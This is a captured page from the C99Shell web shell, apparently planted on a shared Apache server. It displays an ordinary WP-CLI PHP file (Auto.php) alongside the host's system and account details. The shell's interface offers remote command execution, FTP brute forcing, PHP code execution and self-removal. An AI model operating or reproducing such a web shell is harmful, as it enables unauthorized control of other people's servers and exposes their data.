!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/php/WP_CLI/Context/   drwxr-xr-x
Free 701.98 GB of 879.6 GB (79.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Auto.php (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Context;

use WP_CLI;
use WP_CLI\Context;
use WP_CLI\ContextManager;

/**
 * Context which switches to other contexts automatically based on conditions.
 */
final class Auto implements Context {

    /**
     * Array of commands to intercept.
     *
     * @var array<array>
     */
    const COMMANDS_TO_RUN_AS_ADMIN = [
        [ 'plugin' ],
        [ 'theme' ],
    ];

    /**
     * Context manager instance to use.
     *
     * @var ContextManager
     */
    private $context_manager;

    /**
     * Instantiate an Auto object.
     *
     * @param ContextManager $context_manager Context manager instance to use.
     */
    public function __construct( ContextManager $context_manager ) {
        $this->context_manager = $context_manager;
    }

    /**
     * Process the context to set up the environment correctly.
     *
     * @param array $config Associative array of configuration data.
     * @return void
     * @throws WP_CLI\ExitException If an invalid context was deduced.
     */
    public function process( $config ) {
        $config['context'] = $this->deduce_best_context();

        $this->context_manager->switch_context( $config );
    }

    /**
     * Deduce the best context to run the current command in.
     *
     * @return string Context to use.
     */
    private function deduce_best_context() {
        if ( $this->is_command_to_run_as_admin() ) {
            return Context::ADMIN;
        }

        return Context::CLI;
    }

    /**
     * Check whether the current WP-CLI command is amongst those we want to
     * run as admin.
     *
     * @return bool Whether the current command should be run as admin.
     */
    private function is_command_to_run_as_admin() {
        $command = WP_CLI::get_runner()->arguments;

        foreach ( self::COMMANDS_TO_RUN_AS_ADMIN as $command_to_run_as_admin ) {
            if (
                array_slice( $command, 0, count( $command_to_run_as_admin ) )
                ===
                $command_to_run_as_admin
            ) {
                WP_CLI::debug(
                    'Detected a command to be intercepted: '
                    . implode( ' ', $command ),
                    Context::DEBUG_GROUP
                );
                return true;
            }
        }

        return false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0106 ]--